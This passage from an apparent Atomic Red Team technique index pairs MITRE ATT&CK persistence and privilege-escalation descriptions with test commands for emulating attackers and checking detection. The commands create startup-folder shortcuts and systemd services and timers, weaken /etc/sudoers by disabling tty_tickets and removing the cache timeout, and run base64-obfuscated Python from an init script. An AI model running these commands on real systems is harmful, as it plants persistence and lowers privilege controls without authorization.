        name: command_prompt
    - name: Create shortcut to cmd in startup folders
      auto_generated_guid: cfdc954d-4bb0-4027-875b-a1893ce406f2
      description: |
        LNK file to launch CMD placed in startup folder. Upon execution, open File Explorer and browse to "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\"
        to view the new shortcut.
      supported_platforms:
      - windows
      executor:
        command: |
          $Shell = New-Object -ComObject ("WScript.Shell")
          $ShortCut = $Shell.CreateShortcut("$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\T1547.009.lnk")
          $ShortCut.TargetPath="cmd.exe"
          $ShortCut.WorkingDirectory = "C:\Windows\System32";
          $ShortCut.WindowStyle = 1;
          $ShortCut.Description = "T1547.009.";
          $ShortCut.Save()

          $Shell = New-Object -ComObject ("WScript.Shell")
          $ShortCut = $Shell.CreateShortcut("$env:ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\T1547.009.lnk")
          $ShortCut.TargetPath="cmd.exe"
          $ShortCut.WorkingDirectory = "C:\Windows\System32";
          $ShortCut.WindowStyle = 1;
          $ShortCut.Description = "T1547.009.";
          $ShortCut.Save()
        cleanup_command: |
          Remove-Item "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\T1547.009.lnk" -ErrorAction Ignore
          Remove-Item "$env:ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\T1547.009.lnk" -ErrorAction Ignore
        name: powershell
        elevation_required: true
  T1037.005:
    technique:
      id: attack-pattern--c0dfe7b0-b873-4618-9ff8-53e31f70907f
      description: "Adversaries may use startup items automatically executed at boot
        initialization to establish persistence. Startup items execute during the
        final phase of the boot process and contain shell scripts or other executable
        files along with configuration information used by the system to determine
        the execution order for all startup items. (Citation: Startup Items)\n\nThis
        is technically a deprecated technology (superseded by [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)),
        and thus the appropriate folder, <code>/Library/StartupItems</code> isn’t
        guaranteed to exist on the system by default, but does appear to exist by
        default on macOS Sierra. A startup item is a directory whose executable and
        configuration property list (plist), <code>StartupParameters.plist</code>,
        reside in the top-level directory. \n\nAn adversary can create the appropriate
        folders/files in the StartupItems directory to register their own persistence
        mechanism (Citation: Methods of Mac Malware Persistence). Additionally, since
        StartupItems run during the bootup phase of macOS, they will run as the elevated
        root user."
      name: Startup Items
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1037.005
        url: https://attack.mitre.org/techniques/T1037/005
      - url: https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html
        description: Apple. (2016, September 13). Startup Items. Retrieved July 11,
          2017.
        source_name: Startup Items
      - url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
        description: Patrick Wardle. (2014, September). Methods of Malware Persistence
          on Mac OS X. Retrieved July 5, 2017.
        source_name: Methods of Mac Malware Persistence
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2020-03-24T23:47:39.124Z'
      created: '2020-01-15T18:00:33.603Z'
      x_mitre_platforms:
      - macOS
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'File: File Modification'
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      x_mitre_detection: |-
        The <code>/Library/StartupItems</code> folder can be monitored for changes. Similarly, the programs that are actually executed from this mechanism should be checked against a whitelist.

        Monitor processes that are executed during the bootup process to check for unusual or unknown applications and behavior.
      x_mitre_permissions_required:
      - Administrator
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      identifier: T1037.005
    atomic_tests:
    - name: Add file to Local Library StartupItems
      auto_generated_guid: 134627c3-75db-410e-bff8-7a920075f198
      description: |
        Modify or create an file in /Library/StartupItems

        [Reference](https://www.alienvault.com/blogs/labs-research/diversity-in-recent-mac-malware)
      supported_platforms:
      - macos
      executor:
        command: 'sudo touch /Library/StartupItems/EvilStartup.plist

'
        cleanup_command: 'sudo rm /Library/StartupItems/EvilStartup.plist

'
        name: sh
        elevation_required: true
  T1548.003:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1548.003
        url: https://attack.mitre.org/techniques/T1548/003
      - url: https://www.sudo.ws/
        description: Todd C. Miller. (2018). Sudo Man Page. Retrieved March 19, 2018.
        source_name: sudo man page 2018
      - url: https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/
        description: Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web
          traffic. Retrieved July 10, 2017.
        source_name: OSX.Dok Malware
      - url: https://www.cybereason.com/blog/labs-proton-b-what-this-mac-malware-actually-does
        description: Amit Serper. (2018, May 10). ProtonB What this Mac Malware Actually
          Does. Retrieved March 19, 2018.
        source_name: cybereason osx proton
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Sudo and Sudo Caching
      description: |-
        Adversaries may perform sudo caching and/or use the suoders file to elevate privileges. Adversaries may do this to execute commands as other users or spawn processes with higher privileges.

        Within Linux and MacOS systems, sudo (sometimes referred to as "superuser do") allows users to perform commands from terminals with elevated privileges and to control who can perform these commands on the system. The <code>sudo</code> command "allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments."(Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a <code>timestamp_timeout</code>, which is the amount of time in minutes between instances of <code>sudo</code> before it will re-prompt for a password. This is because <code>sudo</code> has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at <code>/var/db/sudo</code> with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a <code>tty_tickets</code> variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).

        The sudoers file, <code>/etc/sudoers</code>, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the principle of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like <code>user1 ALL=(ALL) NOPASSWD: ALL</code> (Citation: OSX.Dok Malware). Elevated privileges are required to edit this file though.

        Adversaries can also abuse poor configurations of these mechanisms to escalate privileges without needing the user's password. For example, <code>/var/db/sudo</code>'s timestamp can be monitored to see if it falls within the <code>timestamp_timeout</code> range. If it does, then malware can execute sudo commands without needing to supply the user's password. Additional, if <code>tty_tickets</code> is disabled, adversaries can do this from any tty for that user.

        In the wild, malware has disabled <code>tty_tickets</code> to potentially make scripting easier by issuing <code>echo \'Defaults !tty_tickets\' >> /etc/sudoers</code> (Citation: cybereason osx proton). In order for this change to be reflected, the malware also issued <code>killall Terminal</code>. As of macOS Sierra, the sudoers file has <code>tty_tickets</code> enabled by default.
      id: attack-pattern--1365fe3b-0f50-455d-b4da-266ce31c23b0
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      modified: '2020-03-27T01:03:26.306Z'
      created: '2020-01-30T14:34:44.992Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_effective_permissions:
      - root
      x_mitre_permissions_required:
      - User
      x_mitre_detection: On Linux, auditd can alert every time a user's actual ID
        and effective ID are different (this is what happens when you sudo). This
        technique is abusing normal functionality in macOS and Linux systems, but
        sudo has the ability to log all input and output based on the <code>LOG_INPUT</code>
        and <code>LOG_OUTPUT</code> directives in the <code>/etc/sudoers</code> file.
      x_mitre_data_sources:
      - 'Process: Process Metadata'
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'File: File Modification'
      x_mitre_platforms:
      - Linux
      - macOS
      identifier: T1548.003
    atomic_tests:
    - name: Sudo usage
      auto_generated_guid: 150c3a08-ee6e-48a6-aeaf-3659d24ceb4e
      description: 'Common Sudo enumeration methods.

'
      supported_platforms:
      - macos
      - linux
      executor:
        name: sh
        elevation_required: true
        command: "sudo -l      \nsudo cat /etc/sudoers\nsudo vim /etc/sudoers\n"
    - name: Unlimited sudo cache timeout
      auto_generated_guid: a7b17659-dd5e-46f7-b7d1-e6792c91d0bc
      description: 'Sets sudo caching timestamp_timeout to a value for unlimited.
        This is dangerous to modify without using ''visudo'', do not do this on a
        production system.

'
      supported_platforms:
      - macos
      - linux
      executor:
        name: sh
        elevation_required: true
        command: |
          sudo sed -i 's/env_reset.*$/env_reset,timestamp_timeout=-1/' /etc/sudoers
          sudo visudo -c -f /etc/sudoers
    - name: Disable tty_tickets for sudo caching
      auto_generated_guid: 91a60b03-fb75-4d24-a42e-2eb8956e8de1
      description: 'Sets sudo caching tty_tickets value to disabled. This is dangerous
        to modify without using ''visudo'', do not do this on a production system.

'
      supported_platforms:
      - macos
      - linux
      executor:
        name: sh
        elevation_required: true
        command: |-
          sudo sh -c "echo Defaults "'!'"tty_tickets >> /etc/sudoers"
          sudo visudo -c -f /etc/sudoers
  T1543.002:
    technique:
      id: attack-pattern--dfefe2ed-4389-4318-8762-f0272b350a1b
      description: "Adversaries may create or modify systemd services to repeatedly
        execute malicious payloads as part of persistence. The systemd service manager
        is commonly used for managing background daemon processes (also known as services)
        and other system resources.(Citation: Linux man-pages: systemd January 2014)(Citation:
        Freedesktop.org Linux systemd 29SEP2018) Systemd is the default initialization
        (init) system on many Linux distributions starting with Debian 8, Ubuntu 15.04,
        CentOS 7, RHEL 7, Fedora 15, and replaces legacy init systems including SysVinit
        and Upstart while remaining backwards compatible with the aforementioned init
        systems.\n\nSystemd utilizes configuration files known as service units to
        control how services boot and under what conditions. By default, these unit
        files are stored in the <code>/etc/systemd/system</code> and <code>/usr/lib/systemd/system</code>
        directories and have the file extension <code>.service</code>. Each service
        unit file may contain numerous directives that can execute system commands:\n\n*
        ExecStart, ExecStartPre, and ExecStartPost directives cover execution of commands
        when a services is started manually by 'systemctl' or on system start if the
        service is set to automatically start. \n* ExecReload directive covers when
        a service restarts. \n* ExecStop and ExecStopPost directives cover when a
        service is stopped or manually by 'systemctl'.\n\nAdversaries have used systemd
        functionality to establish persistent access to victim systems by creating
        and/or modifying service unit files that cause systemd to execute malicious
        commands at system boot.(Citation: Anomali Rocke March 2019)\n\nWhile adversaries
        typically require root privileges to create/modify service unit files in the
        <code>/etc/systemd/system</code> and <code>/usr/lib/systemd/system</code>
        directories, low privilege users can create/modify service unit files in directories
        such as <code>~/.config/systemd/user/</code> to achieve user-level persistence.(Citation:
        Rapid7 Service Persistence 22JUNE2016)"
      name: Systemd Service
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1543.002
        url: https://attack.mitre.org/techniques/T1543/002
      - external_id: CAPEC-550
        source_name: capec
        url: https://capec.mitre.org/data/definitions/550.html
      - external_id: CAPEC-551
        source_name: capec
        url: https://capec.mitre.org/data/definitions/551.html
      - source_name: 'Linux man-pages: systemd January 2014'
        url: http://man7.org/linux/man-pages/man1/systemd.1.html
        description: Linux man-pages. (2014, January). systemd(1) - Linux manual page.
          Retrieved April 23, 2019.
      - source_name: Freedesktop.org Linux systemd 29SEP2018
        url: https://www.freedesktop.org/wiki/Software/systemd/
        description: Freedesktop.org. (2018, September 29). systemd System and Service
          Manager. Retrieved April 23, 2019.
      - source_name: Anomali Rocke March 2019
        url: https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang
        description: Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With
          a New Malware Family Written in Golang. Retrieved April 24, 2019.
      - source_name: Rapid7 Service Persistence 22JUNE2016
        url: https://www.rapid7.com/db/modules/exploit/linux/local/service_persistence
        description: Rapid7. (2016, June 22). Service Persistence. Retrieved April
          23, 2019.
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2020-10-09T13:46:29.701Z'
      created: '2020-01-17T16:15:19.870Z'
      x_mitre_platforms:
      - Linux
      x_mitre_detection: |-
        Systemd service unit files may be detected by auditing file creation and modification events within the <code>/etc/systemd/system</code>, <code>/usr/lib/systemd/system/</code>, and <code>/home/<username>/.config/systemd/user/</code> directories, as well as associated symbolic links. Suspicious processes or scripts spawned in this manner will have a parent process of ‘systemd’, a parent process ID of 1, and will usually execute as the ‘root’ user.

        Suspicious systemd services can also be identified by comparing results against a trusted system baseline. Malicious systemd services may be detected by using the systemctl utility to examine system wide services: <code>systemctl list-units -–type=service –all</code>. Analyze the contents of <code>.service</code> files present on the file system and ensure that they refer to legitimate, expected executables.

        Auditing the execution and command-line arguments of the 'systemctl' utility, as well related utilities such as <code>/usr/sbin/service</code> may reveal malicious systemd service execution.
      x_mitre_permissions_required:
      - User
      - root
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.2'
      x_mitre_data_sources:
      - 'File: File Creation'
      - 'File: File Modification'
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'Service: Service Creation'
      - 'Service: Service Modification'
      x_mitre_contributors:
      - Tony Lambert, Red Canary
      identifier: T1543.002
    atomic_tests:
    - name: Create Systemd Service
      auto_generated_guid: d9e4f24f-aa67-4c6e-bcbf-85622b697a7c
      description: 'This test creates a Systemd service unit file and enables it as
        a service.

'
      supported_platforms:
      - linux
      input_arguments:
        systemd_service_path:
          description: Path to systemd service unit file
          type: Path
          default: "/etc/systemd/system"
        systemd_service_file:
          description: File name of systemd service unit file
          type: String
          default: art-systemd-service.service
        execstoppost_action:
          description: ExecStopPost action for Systemd service
          type: String
          default: "/bin/touch /tmp/art-systemd-execstoppost-marker"
        execreload_action:
          description: ExecReload action for Systemd service
          type: String
          default: "/bin/touch /tmp/art-systemd-execreload-marker"
        execstart_action:
          description: ExecStart action for Systemd service
          type: String
          default: "/bin/touch /tmp/art-systemd-execstart-marker"
        execstop_action:
          description: ExecStop action for Systemd service
          type: String
          default: "/bin/touch /tmp/art-systemd-execstop-marker"
        execstartpre_action:
          description: ExecStartPre action for Systemd service
          type: String
          default: "/bin/touch /tmp/art-systemd-execstartpre-marker"
        execstartpost_action:
          description: ExecStartPost action for Systemd service
          type: String
          default: "/bin/touch /tmp/art-systemd-execstartpost-marker"
      executor:
        command: |
          echo "[Unit]" > #{systemd_service_path}/#{systemd_service_file}
          echo "Description=Atomic Red Team Systemd Service" >> #{systemd_service_path}/#{systemd_service_file}
          echo "" >> #{systemd_service_path}/#{systemd_service_file}
          echo "[Service]" >> #{systemd_service_path}/#{systemd_service_file}
          echo "Type=simple"
          echo "ExecStart=#{execstart_action}" >> #{systemd_service_path}/#{systemd_service_file}
          echo "ExecStartPre=#{execstartpre_action}" >> #{systemd_service_path}/#{systemd_service_file}
          echo "ExecStartPost=#{execstartpost_action}" >> #{systemd_service_path}/#{systemd_service_file}
          echo "ExecReload=#{execreload_action}" >> #{systemd_service_path}/#{systemd_service_file}
          echo "ExecStop=#{execstop_action}" >> #{systemd_service_path}/#{systemd_service_file}
          echo "ExecStopPost=#{execstoppost_action}" >> #{systemd_service_path}/#{systemd_service_file}
          echo "" >> #{systemd_service_path}/#{systemd_service_file}
          echo "[Install]" >> #{systemd_service_path}/#{systemd_service_file}
          echo "WantedBy=default.target" >> #{systemd_service_path}/#{systemd_service_file}
          systemctl daemon-reload
          systemctl enable #{systemd_service_file}
          systemctl start #{systemd_service_file}
        cleanup_command: |
          systemctl stop #{systemd_service_file}
          systemctl disable #{systemd_service_file}
          rm -rf #{systemd_service_path}/#{systemd_service_file}
          systemctl daemon-reload
        name: bash
    - name: Create Systemd Service file,  Enable the service , Modify and Reload the
        service.
      auto_generated_guid: c35ac4a8-19de-43af-b9f8-755da7e89c89
      description: "This test creates a systemd service unit file and enables it to
        autostart on boot. Once service is created and enabled, it also modifies this
        same service file showcasing both Creation and Modification of system process.
        \n"
      supported_platforms:
      - linux
      dependencies:
      - description: 'System must be Ubuntu ,Kali OR CentOS.

'
        prereq_command: 'if [ $(cat /etc/os-release | grep -i ID=ubuntu) ] || [ $(cat
          /etc/os-release | grep -i ID=kali) ] || [ $(cat /etc/os-release | grep -i
          ''ID="centos"'') ]; then exit /b 0; else exit /b 1; fi;

'
        get_prereq_command: 'echo Please run from Ubuntu ,Kali OR CentOS.

'
      executor:
        name: bash
        elevation_required: true
        command: "cat > /etc/init.d/T1543.002 << EOF\n#!/bin/bash\n### BEGIN INIT
          INFO\n# Provides : Atomic Test T1543.002\n# Required-Start: $all\n# Required-Stop
          : \n# Default-Start: 2 3 4 5\n# Default-Stop: \n# Short Description: Atomic
          Test for Systemd Service Creation\n### END INIT INFO\npython3 -c \"import
          os, base64;exec(base64.b64decode('aW1wb3J0IG9zCm9zLnBvcGVuKCdlY2hvIGF0b21pYyB0ZXN0IGZvciBDcmVhdGluZyBTeXN0ZW1kIFNlcnZpY2UgVDE1NDMuMDAyID4gL3RtcC9UMTU0My4wMDIuc3lzdGVtZC5zZXJ2aWNlLmNyZWF0aW9uJykK'))\"\nEOF\n\nchmod
          +x /etc/init.d/T1543.002\nif [ $(cat /etc/os-release | grep -i ID=ubuntu)
          ] || [ $(cat /etc/os-release | grep -i ID=kali) ]; then update-rc.d T1543.002
          defaults; elif [ $(cat /etc/os-release | grep -i 'ID=\"centos\"') ]; then
          chkconfig T1543.002 on ; else echo \"Please run this test on Ubnutu , kali
          OR centos\" ; fi ;\nsystemctl enable T1543.002\nsystemctl start T1543.002\n\necho
          \"python3 -c \\\"import os, base64;exec(base64.b64decode('aW1wb3J0IG9zCm9zLnBvcGVuKCdlY2hvIGF0b21pYyB0ZXN0IGZvciBtb2RpZnlpbmcgYSBTeXN0ZW1kIFNlcnZpY2UgVDE1NDMuMDAyID4gL3RtcC9UMTU0My4wMDIuc3lzdGVtZC5zZXJ2aWNlLm1vZGlmaWNhdGlvbicpCg=='))\\\"\"
          | sudo tee -a /etc/init.d/T1543.002\nsystemctl daemon-reload\nsystemctl
          restart T1543.002\n"
        cleanup_command: |
          systemctl stop T1543.002
          systemctl disable T1543.002
          rm -rf /etc/init.d/T1543.002
          systemctl daemon-reload
  T1053.006:
    technique:
      id: attack-pattern--a542bac9-7bc1-4da7-9a09-96f69e23cc21
      description: |-
        Adversaries may abuse systemd timers to perform task scheduling for initial or recurring execution of malicious code. Systemd timers are unit files with file extension <code>.timer</code> that control services. Timers can be set to run on a calendar event or after a time span relative to a starting point. They can be used as an alternative to [Cron](https://attack.mitre.org/techniques/T1053/003) in Linux environments.(Citation: archlinux Systemd Timers Aug 2020)

        Each <code>.timer</code> file must have a corresponding <code>.service</code> file with the same name, e.g., <code>example.timer</code> and <code>example.service</code>. <code>.service</code> files are [Systemd Service](https://attack.mitre.org/techniques/T1543/002) unit files that are managed by the systemd system and service manager.(Citation: Linux man-pages: systemd January 2014) Privileged timers are written to <code>/etc/systemd/system/</code> and <code>/usr/lib/systemd/system</code> while user level are written to <code>~/.config/systemd/user/</code>.

        An adversary may use systemd timers to execute malicious code at system startup or on a scheduled basis for persistence.(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: gist Arch package compromise 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018) Timers installed using privileged paths may be used to maintain root level persistence. Adversaries may also install user level timers to achieve user level persistence.
      name: Systemd Timers
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1053.006
        url: https://attack.mitre.org/techniques/T1053/006
      - source_name: archlinux Systemd Timers Aug 2020
        url: https://wiki.archlinux.org/index.php/Systemd/Timers
        description: archlinux. (2020, August 11). systemd/Timers. Retrieved October
          12, 2020.
      - source_name: 'Linux man-pages: systemd January 2014'
        url: http://man7.org/linux/man-pages/man1/systemd.1.html
        description: Linux man-pages. (2014, January). systemd(1) - Linux manual page.
          Retrieved April 23, 2019.
      - description: Catalin Cimpanu. (2018, July 10). Malware Found in Arch Linux
          AUR Package Repository. Retrieved April 23, 2019.
        url: https://www.bleepingcomputer.com/news/security/malware-found-in-arch-linux-aur-package-repository/
        source_name: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018
      - description: Catalin Cimpanu. (2018, July 10). ~x file downloaded in public
          Arch package compromise. Retrieved April 23, 2019.
        url: https://gist.github.com/campuscodi/74d0d2e35d8fd9499c76333ce027345a
        source_name: gist Arch package compromise 10JUL2018
      - description: Eli Schwartz. (2018, June 8). acroread package compromised. Retrieved
          April 23, 2019.
        url: https://lists.archlinux.org/pipermail/aur-general/2018-July/034153.html
        source_name: acroread package compromised Arch Linux Mail 8JUL2018
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: execution
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      modified: '2020-10-14T15:20:00.754Z'
      created: '2020-10-12T17:50:31.584Z'
      x_mitre_platforms:
      - Linux
      x_mitre_contributors:
      - SarathKumar Rajendran, Trimble Inc
      x_mitre_data_sources:
      - 'Scheduled Job: Scheduled Job Creation'
      - 'Command: Command Execution'
      - 'File: File Modification'
      - 'Process: Process Creation'
      x_mitre_detection: |-
        Systemd timer unit files may be detected by auditing file creation and modification events within the <code>/etc/systemd/system</code>, <code>/usr/lib/systemd/system/</code>, and <code>~/.config/systemd/user/</code> directories, as well as associated symbolic links. Suspicious processes or scripts spawned in this manner will have a parent process of ‘systemd’, a parent process ID of 1, and will usually execute as the ‘root’ user.

        Suspicious systemd timers can also be identified by comparing results against a trusted system baseline. Malicious systemd timers may be detected by using the systemctl utility to examine system wide timers: <code>systemctl list-timers –all</code>. Analyze the contents of corresponding <code>.service</code> files present on the file system and ensure that they refer to legitimate, expected executables.

        Audit the execution and command-line arguments of the 'systemd-run' utility as it may be used to create timers.(Citation: archlinux Systemd Timers Aug 2020)
      x_mitre_permissions_required:
      - User
      - root
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      identifier: T1053.006
    atomic_tests:
    - name: Create Systemd Service and Timer
      auto_generated_guid: f4983098-bb13-44fb-9b2c-46149961807b
      description: "This test creates Systemd service and timer then starts and enables
        the Systemd timer \n"
      supported_platforms:
      - linux
      input_arguments:
        path_to_systemd_service:
          description: Path to systemd service unit file
          type: Path
          default: "/etc/systemd/system/art-timer.service"
        path_to_systemd_timer:
          description: Path to service timer file
          type: Path
          default: "/etc/systemd/system/art-timer.timer"
        systemd_service_name:
          description: Name of systemd service
          type: String
          default: art-timer.service
        systemd_timer_name:
          description: Name of systemd service timer
          type: String
          default: art-timer.timer
      executor:
        command: |
          echo "[Unit]" > #{path_to_systemd_service}
          echo "Description=Atomic Red Team Systemd Timer Service" >> #{path_to_systemd_service}
          echo "[Service]" >> #{path_to_systemd_service}
          echo "Type=simple" >> #{path_to_systemd_service}
          echo "ExecStart=/bin/touch /tmp/art-systemd-timer-marker" >> #{path_to_systemd_service}
          echo "[Install]" >> #{path_to_systemd_service}
          echo "WantedBy=multi-user.target" >> #{path_to_systemd_service}
          echo "[Unit]" > #{path_to_systemd_timer}
          echo "Description=Executes Atomic Red Team Systemd Timer Service" >> #{path_to_systemd_timer}
          echo "Requires=#{systemd_service_name}" >> #{path_to_systemd_timer}
          echo "[Timer]" >> #{path_to_systemd_timer}
          echo "Unit=#{systemd_service_name}" >> #{path_to_systemd_timer}
          echo "OnCalendar=*-*-* *:*:00" >> #{path_to_systemd_timer}
          echo "[Install]" >> #{path_to_systemd_timer}
          echo "WantedBy=timers.target" >> #{path_to_systemd_timer}
          systemctl start #{systemd_timer_name}
          systemctl enable #{systemd_timer_name}
          systemctl daemon-reload
        cleanup_command: |
          systemctl stop #{systemd_timer_name}
          systemctl disable #{systemd_timer_name}
          rm #{path_to_systemd_service}
          rm #{path_to_systemd_timer}
          systemctl daemon-reload
        name: bash
    - name: Create a user level transient systemd service and timer
      auto_generated_guid: 3de33f5b-62e5-4e63-a2a0-6fd8808c80ec
      description: "Schedule a user level transient task (will not survive a reboot)
        without having to create the .timer or .service files by using the systemd-run
        command. \n"
      supported_platforms:
      - linux
      dependency_executor_name: sh
      dependencies:
      - description: 'Check if systemd-run exists on the machine

'
        prereq_command: 'if [ -x "$(command -v systemd-run)" ]; then exit 0; else
          exit 1; fi;

'
        get_prereq_command: 'echo "Install systemd on the machine."; exit 1;

'
      executor:
        elevation_required: false
        command: 'systemd-run --user --unit=Atomic-Red-Team --on-calendar ''*:0/1''
          /bin/sh -c ''echo "$(date) $(whoami)" >>/tmp/log''

'
        cleanup_command: |
          systemctl --user stop Atomic-Red-Team.service
          systemctl --user stop Atomic-Red-Team.timer
          rm /tmp/log
        name: sh
    - name: Create a system level transient systemd service and timer
      auto_generated_guid: d3eda496-1fc0-49e9-aff5-3bec5da9fa22
      description: "Schedule a system level transient task (will not survive a reboot)
        without having to create the .timer or .service files by using the systemd-run
        command. \n"
      supported_platforms:
      - linux
      dependency_executor_name: sh
      dependencies:
      - description: 'Check if systemd-run exists on the machine

'
        prereq_command: 'if [ -x "$(command -v systemd-run)" ]; then exit 0; else
          exit 1; fi;

'
        get_prereq_command: 'echo "Install systemd on the machine."; exit 1;

'
      executor:
        elevation_required: true
        command: 'systemd-run --unit=Atomic-Red-Team --on-calendar ''*:0/1'' /bin/sh
          -c ''echo "$(date) $(whoami)" >>/tmp/log''

'
        cleanup_command: |
          systemctl stop Atomic-Red-Team.service
          systemctl stop Atomic-Red-Team.timer
          rm /tmp/log
        name: sh
  T1055.003:
    technique:
      created: '2020-01-14T01:28:32.166Z'
      modified: '2020-11-10T18:29:30.941Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      type: attack-pattern
      id: attack-pattern--41d9846c-f6af-4302-a654-24bba2729bc6
      description: "Adversaries may inject malicious code into hijacked processes
        in order to evade process-based defenses as well as possibly elevate privileges.
        Thread Execution Hijacking is a method of executing arbitrary code in the
        address space of a separate live process. \n\nThread Execution Hijacking is
        commonly performed by suspending an existing process then unmapping/hollowing
        its memory, which can then be replaced with malicious code or the path to
        a DLL. A handle to an existing victim process is first created with native
        Windows API calls such as <code>OpenThread</code>. At this point the process
        can be suspended then written to, realigned to the injected code, and resumed
        via <code>SuspendThread </code>, <code>VirtualAllocEx</code>, <code>WriteProcessMemory</code>,
        <code>SetThreadContext</code>, then <code>ResumeThread</code> respectively.(Citation:
        Elastic Process Injection July 2017)\n\nThis is very similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012)
        but targets an existing process rather than creating a process in a suspended
        state.  \n\nRunning code in the context of another process may allow access
        to the process's memory, system/network resources, and possibly elevated privileges.
        Execution via Thread Execution Hijacking may also evade detection from security
        products since the execution is masked under a legitimate process. "
      name: Thread Execution Hijacking
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - source_name: mitre-attack
        external_id: T1055.003
        url: https://attack.mitre.org/techniques/T1055/003
      - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
          A Technical Survey Of Common And Trending Process Injection Techniques.
          Retrieved December 7, 2017.'
        source_name: Elastic Process Injection July 2017
      x_mitre_platforms:
      - Windows
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_detection: "Monitoring Windows API calls indicative of the various types
        of code injection may generate a significant amount of data and may not be
        directly useful for defense unless collected under specific circumstances
        for known bad sequences of calls, since benign use of API functions may be
        common and difficult to distinguish from malicious behavior. Windows API calls
        such as <code>CreateRemoteThread</code>, <code>SuspendThread</code>/<code>SetThreadContext</code>/<code>ResumeThread</code>,
        and those that can be used to modify memory within another process, such as
        <code>VirtualAllocEx</code>/<code>WriteProcessMemory</code>, may be used for
        this technique.(Citation: Elastic Process Injection July 2017)\n\nAnalyze
        process behavior to determine if a process is performing actions it usually
        does not, such as opening network connections, reading files, or other suspicious
        actions that could relate to post-compromise behavior. "
      x_mitre_permissions_required:
      - User
      x_mitre_data_sources:
      - 'Process: OS API Execution'
      - 'Process: Process Access'
      x_mitre_defense_bypassed:
      - Application control
      - Anti-virus
    atomic_tests: []
  T1055.005:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1055.005
        url: https://attack.mitre.org/techniques/T1055/005
      - url: https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html
        description: Vaish, A. & Nemes, S. (2017, November 28). Newly Observed Ursnif
          Variant Employs Malicious TLS Callback Technique to Achieve Process Injection.
          Retrieved December 18, 2017.
        source_name: FireEye TLS Nov 2017
      - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
          A Technical Survey Of Common And Trending Process Injection Techniques.
          Retrieved December 7, 2017.'
        source_name: Elastic Process Injection July 2017
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Thread Local Storage
